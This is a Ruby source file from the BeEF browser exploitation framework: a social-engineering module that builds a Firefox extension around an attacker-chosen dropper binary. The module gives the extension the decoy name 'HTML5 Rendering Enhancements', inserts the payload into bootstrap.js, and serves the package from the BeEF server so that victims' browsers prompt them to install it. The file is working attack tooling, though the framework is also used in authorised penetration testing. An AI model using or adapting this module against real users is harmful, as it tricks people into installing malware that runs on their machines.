92 lines
3.9 KiB
Ruby
92 lines
3.9 KiB
Ruby
#
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# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
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# Browser Exploitation Framework (BeEF) - https://beefproject.com
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# See the file 'doc/COPYING' for copying permission
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#
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class Firefox_extension_dropper < BeEF::Core::Command
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class Bind_extension < BeEF::Core::Router::Router
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before do
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headers 'Content-Type' => 'application/x-xpinstall',
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'Pragma' => 'no-cache',
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'Cache-Control' => 'no-cache',
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'Expires' => '0'
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end
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get '/' do
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response['Content-Type'] = 'application/x-xpinstall'
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extension_path = settings.extension_path
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print_info "Serving malicious Firefox Extension (Dropper): #{extension_path}"
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send_file extension_path.to_s,
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type: 'application/x-xpinstall',
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disposition: 'inline'
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end
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end
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def pre_send
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# gets the value configured in the module configuration by the user
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@datastore.each do |input|
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@extension_name = input['value'] if input['name'] == 'extension_name'
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@xpi_name = input['value'] if input['name'] == 'xpi_name'
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end
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mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper"
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extension_path = "#{mod_path}/extension"
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# clean the build directory
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FileUtils.rm_rf("#{extension_path}/build/.", secure: true)
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# retrieve the name of the dropper binary
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Dir.foreach("#{mod_path}/dropper") do |item|
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if item != 'readme.txt' && item != '.' && item != '..'
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@dropper = item
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print_info "Using dropper: '#{mod_path}/dropper/#{@dropper}'"
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end
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end
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if @dropper.nil?
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print_error "No dropper found in '#{mod_path}/dropper'"
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return
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end
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# copy in the build directory necessary file, substituting placeholders
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File.open("#{extension_path}/build/install.rdf", 'w') { |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) }
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File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__payload_placeholder__', @dropper) }
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File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") }
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File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") }
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FileUtils.cp "#{mod_path}/dropper/#{@dropper}", "#{extension_path}/build/#{@dropper}"
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extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest', @dropper]
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# create the XPI extension container
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xpi = "#{extension_path}/#{@xpi_name}.xpi"
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File.delete(xpi) if File.exist?(xpi)
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Zip::File.open(xpi, Zip::File::CREATE) do |xpi|
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extension_content.each do |filename|
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xpi.add(filename, "#{extension_path}/build/#{filename}")
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end
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end
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# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)
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bind_extension = Firefox_extension_dropper::Bind_extension
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bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
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BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
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BeEF::Core::Server.instance.remap
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end
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def self.options
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@configuration = BeEF::Core::Configuration.instance
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proto = @configuration.beef_proto
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beef_host = @configuration.beef_host
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beef_port = @configuration.beef_port
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base_host = "#{proto}://#{beef_host}:#{beef_port}"
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[
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{ 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },
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{ 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },
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{ 'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width' => '150px' }
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]
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end
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def post_execute
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save({ 'result' => @datastore['result'] })
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end
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end
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